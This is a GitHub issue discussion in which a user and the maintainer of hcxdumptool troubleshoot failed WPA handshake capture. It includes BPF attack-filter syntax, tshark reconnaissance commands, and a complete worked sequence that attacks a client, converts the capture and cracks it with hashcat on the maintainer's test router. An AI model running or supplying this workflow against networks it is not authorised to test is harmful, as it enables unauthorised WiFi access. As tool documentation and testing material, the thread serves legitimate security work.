Need strengthen two attack behaviors rules

[LLH-l]

@ZerBea
Run command test
scan
Create BPF
sudo hcxdumptool -i wlan0 -c 1a -w cap.pcapng --rds=1 --bpf=attack.bpf
After launching an attack, my observe the client reconnecting to the AP (But only once),
I observe chart not show a captured handshake data, I also checked the pcapng file, no m1m2(at least)

CHA   LAST   R 1 3 P S    MAC-AP    ESSID (last EAPOL on top)    SCAN-FREQUENCY:   2412
-----------------------------------------------------------------------------------------
   1 11:36:06 + +       + ffffffffffff test


   LAST   E 2 MAC-AP-ROGUE   MAC-CLIENT   ESSID (last M2ROGUE on top)
-----------------------------------------------------------------------------------------
 11:35:14     ffffffffffff 74daffffffff test

The problem is that after launching an attack, hcxdumptool seems never launched another attack, my observed the client no reconnection behavior ,causing no capture the handshake.
the continued attack behavior ineffective ? or auto stop attack ?
After launching one attack, the attack will auto stop ?
AP and client in my 2m

[LLH-l]

Should strengthen two attack behaviors rules
If m1m2 not captured, the attack will continue
If m1m2m3 not captured, the attack will continue

[LLH-l]

Don't forget ! This is a capture tool.
we must sacrifice everything, in order to capture the handshake ! Despite channel blockage

[ZerBea]

Primary it is an interactive tool that talks with the target.
Secondary it is a too to capture the traffic (tshark / Wireshark).

[LLH-l]

If detected no capture m1m2 or m1m2m3, should reset the default value and seek to launch another attack !

[ZerBea]

Hcxdumptool detects if a PMKID, an EAPOL M1M2 or an EAPOL M1M2M3 has been captured.
But it's not feasible do detect that nothing has been captured. This can only be done by a time management (check if nothing has been received). That takes a lot of CPU cycles.
You can use the default options if you're close to the target or the options mentioned above if you're far away.
Anything else need to add AI to hcxdumptool. That will not work on a Raspberry Pi Zero!

[ZerBea]

BTW:
I the CLIENT dos not want to connect to hcxdumptool there is absolutely no way to force that.

[ZerBea]

BTW2:
You're running a BPF: "--bpf=attack.bpf
Double check the entries, because it is mandatory to add the CLIENT MAC to wlan addr1 and wlan addr2. If not, hcxdumptool is not allowed to attack the CLIENT. An attack filter like "wlan addr3 112233445566" will prevent this completely.

While an attack filter like this:
"wlan addr1 CLIENT_MAC or wlan addr2 CLIENT_MAC or wlan addr3 MAC_AP or wlan addr3 ffffffffffff"
allows attacks on this CLIENT.

If that "wlan addr3 ffffffffffff" is not present in the BPF, undirected PROBEREQUETs are filtered out.
In other word, hcxdumptool does not respond to the CLIENT.

[LLH-l]

#388 (reply in thread)

#388 (comment)

#388 (comment)

#388 (comment)

#388 (comment)

#388 (comment)

Situations like these
In fact, hcxdumptool already attack stop, but they completely unaware hcxdump already stop working. but hcxdumptool not attempted to run once again attack !
they still foolishly waiting to be captured handshake

[ZerBea]

This has been prevented by the BPF: --bpf=filter.bpf (only frames from & to AP are allowed by the filter).
It is mandatory to set the CLIENT MAC on addr1 and addr2 as well as the broadcast MAC (ffffffffffff) and the AP MAC on addr3
Otherwise the attack will fail, because this frames are filtered out by the kernel.
It is absolutely mandatory to understand the usage of 802.11 addr1 (to MAC), addr2 (from MAC) and addr3 (BSSID MAC) and the significance of the BROADCAST MAC (ffffffffffff).

ROGUE attack means that the CLIENT connect to hcxdumptool's random generated MAC.
But this has been filtered out by the attack filer.

An attack filer like this "wlan addr3 MAC_AP" filters out everything that doesn't belong to the target NETWORK:
undirected PROBEREQUESTs from the CLIENT
connection attempts from the CLIENT to hcxdumptool

That is a "hard restriction" and you may have to wait a long time to get a complete handshake!

[LLH-l]

I cannot confirm now
But hcxdumptool now scan not have add client MAC

[ZerBea]

The BPF is merciless! Wrong entries cause that the attack fails!

[LLH-l]

problem is: now version v6.3.2
now scan unable obtain AP client MAC
In other words cannot create addr1 addr2 addr3 !

[ZerBea]

Only M1M2ROGUE attacks will fail if you set wlan addr3 to MAC_AP

now scan unable obtain AP client MAC
allow BROADCAST MAC in your filter

MAC randomization is a counter measure to prevent tracking.
https://www.guidingtech.com/what-is-mac-randomization-and-how-to-use-it-on-your-devices/

It is mandatory to monitor the target to get more information about it (AP & CLIENTs).
Than set the filter and run your attack.

And no, that can't be done by an automatic.

[ZerBea]

I forgot to mention:
Nearly all state of the art CLIENTs run MAC randomization.
Running an attack (M1M2ROGUE) using a filter that doesn't include the actual MAC of the device and the broadcast MAC will fail!

BTW:
Running tshark on the same device will show the actual MAC of the CLIENT connected to the AP within seconds.
Show all frames addressed to an AP:
$ tshark -i wlp22s0f0u9u4 -Y "wlan.fc.ds == 1" -T fields -e wlan.ra -e wlan.ta

Show all frames addressed to an AP:
$ tshark -i wlp22s0f0u9u4 -Y "wlan.ra == MAC_AP" -T fields -e wlan.ra -e wlan.ta

This might help to build your filter.

tshark is you friend and the filter syntax is the same as the filter syntax used by hcxdumptool.

[ZerBea]

To exactly monitor what happens if you set "wlan addr3 MAC_AP" as BPF to hcxdumptool, run tshark in parallel on the same interface:
$ tshark -i INTERFACE_NAME -Y "wlan.bssid == MAC_AP"

As mentioned in several posts, hcxdumptool is 100% compatible to tshark. You always can run tshark in parallel to hcxdumptool to get additional information about the target or to monitor what's going on (or why does not work as expected).
I

[LLH-l]

This not a filter issue ! it is tool attack rule issue

[ZerBea]

$ sudo hcxdumptool -i wlan0 -c 1a -w cap.pcapng --rds=1 --attemptapmax=10000 --attemptclientmax=10000
What happens?

[ZerBea]

And have patience until the "+" disappeared in the R column:
1 11:36:06 + + + ffffffffffff test

[ZerBea]

That is either a problem of your configuration (KALI) or your attack filter or your workflow.

Everything is working as expected:

$ sudo nmcli dev wifi list

$ sudo hcxdumptool -m wlp48s0f4u2u1 -c 10a

$ tshark -i wlp48s0f4u2u1 -T fields -e wlan.bssid
Capturing on 'wlp48s0f4u2u1'
08:96:d7:98:e1:9e

$ tshark -i wlp48s0f4u2u1 -Y "wlan.ra == 08:96:d7:98:e1:9e" -T fields -e wlan.ta
Capturing on 'wlp48s0f4u2u1'
00:e6:2d:02:2a:87

$ hcxdumptool --bpfc="wlan addr3 ffffffffffff or wlan addr3 0896d798e19e or wlan addr2 00e62d022a87 or wlan addr1 00e62d022a87" > attack.bpf

$ sudo hcxdumptool -i wlp48s0f4u2u1 --bpf=attack.bpf --exitoneapol=7 -w test.pcapng
0 ERROR(s) during runtime
136 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
1 SHB written to pcapng dumpfile
1 IDB written to pcapng dumpfile
1 ECB written to pcapng dumpfile
18 EPB written to pcapng dumpfile

exit on EAPOL M1M2


$ hcxpcapngtool test.pcapng -o test.22000
hcxpcapngtool 6.3.2-48-g369f6f5 reading from test.pcapng...

summary capture file
--------------------
file name................................: test.pcapng
version (pcapng).........................: 1.0
operating system.........................: Linux 6.7.2-arch1-1
application..............................: hcxdumptool 6.3.2-169-gb0c006b
interface name...........................: wlp48s0f4u2u1
interface vendor.........................: 00e62d
openSSL version..........................: 1.0
weak candidate...........................: 12345678
MAC ACCESS POINT.........................: 806d97bf5ccb (incremented on every new client)
MAC CLIENT...............................: 8c8401f6d1be
REPLAYCOUNT..............................: 64686
ANONCE...................................: d41adbe7e48fc29207c49ccce5843bd991ca41703a9d421b60e7c29e63ec6dae
SNONCE...................................: 483bcc0308f7c11eaf9e63222fc3c910736db22600fcb0495f7c3428a31f467e
timestamp minimum (GMT)..................: 30.01.2024 11:11:09
timestamp maximum (GMT)..................: 30.01.2024 11:11:09
duration of the dump tool (seconds)......: 0
used capture interfaces..................: 1
link layer header type...................: DLT_IEEE802_11_RADIO (127)
endianness (capture system)..............: little endian
packets inside...........................: 18
packets received on 2.4 GHz..............: 18
ESSID (total unique).....................: 1
BEACON (total)...........................: 1
BEACON on 2.4 GHz channel (from IE_TAG)..: 10 
PROBEREQUEST (undirected)................: 1
PROBERESPONSE (total)....................: 1
AUTHENTICATION (total)...................: 1
AUTHENTICATION (OPEN SYSTEM).............: 1
EAPOL messages (total)...................: 14
EAPOL RSN messages.......................: 14
EAPOLTIME gap (measured maximum msec)....: 52
EAPOL ANONCE error corrections (NC)......: not detected
EAPOL M1 messages (total)................: 13
EAPOL M2 messages (total)................: 1
EAPOL pairs (total)......................: 1
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)
EAPOL M12E2 (challenge)..................: 1

frequency statistics from radiotap header (frequency: received packets)
-----------------------------------------------------------------------
 2457: 18	

Information: missing EAPOL M3 frames!
This dump file does not contain EAPOL M3 frames (possible packet loss).
It strongly recommended to recapture the traffic or to use --all option to convert all possible EAPOL MESSAGE PAIRs.


session summary
---------------
processed pcapng files................: 1

$ hashcat -m 22000 test.22000 -a 3 "12345678"
hashcat (v6.2.6-848-gc1a10518f) starting
...
1f7b8b5b21b2b6d68b1d1fb60b518f6d:0896d798e19e:00e62d022a87:AP_7272:12345678
...   
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: test.22000
Time.Started.....: Tue Jan 30 11:13:06 2024 (0 secs)
Time.Estimated...: Tue Jan 30 11:13:06 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: 12345678 [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       93 H/s (0.41ms) @ Accel:32 Loops:256 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 12345678 -> 12345678
Hardware.Mon.#1..: Temp: 46c Fan: 30% Util: 11% Core:2835MHz Mem:10802MHz Bus:16

Started: Tue Jan 30 11:13:05 2024
Stopped: Tue Jan 30 11:13:07 2024

BTW:
This warning was expected:

Information: missing EAPOL M3 frames!
This dump file does not contain EAPOL M3 frames (possible packet loss).

because hcxdumptool has been told (by option exitoneapol) to terminate after an EAPOL MESSAGE PAIR has been received.
That was the case on M1M2. As the M3 has been transmitted, hcxdumptool has been already terminated.

[LLH-l]

That is either a problem of your configuration (KALI) or your attack filter or your workflow.

Sorry..
Is default value small cause
--attemptapmax=4 --attemptclientmax=10

This default value should increased to:
--attemptapmax=30 --attemptclientmax=20

Otherwise, it easily capture fail
If hcxdumptool stop attack, need issued a prompt
otherwise everyone will not know it already stop work

[ZerBea]

Check R column: "+" = AP in range and under attack!
Default values are more than enough (please take a look at the example from above).

[LLH-l]

AP and client in my 2m scope
Repeated test 50 times !
Sometimes only captured m1m2, and m1m2m3 not captured

[ZerBea]

That depend on your environment (OS, hardware, workflow, BPF).
I have several test routers and several WiFi adapters, but the result is always the same:
All targets attacked successful within a time period of < 10 seconds.
Run tshark or Wireshark in parallel to monitor the traffic. That is very helpful to discover weak points in your environment or your workflow or your filter settings.

[ZerBea]

If the attack device is too close to the test target(s) < 5m , I noticed interferences between attack device, CLIENT and AP which cause a packet loss. To discover this problem run tshark in parallel on the same device:
$ tshark -i wlp48s0f4u2u4 -Y eapol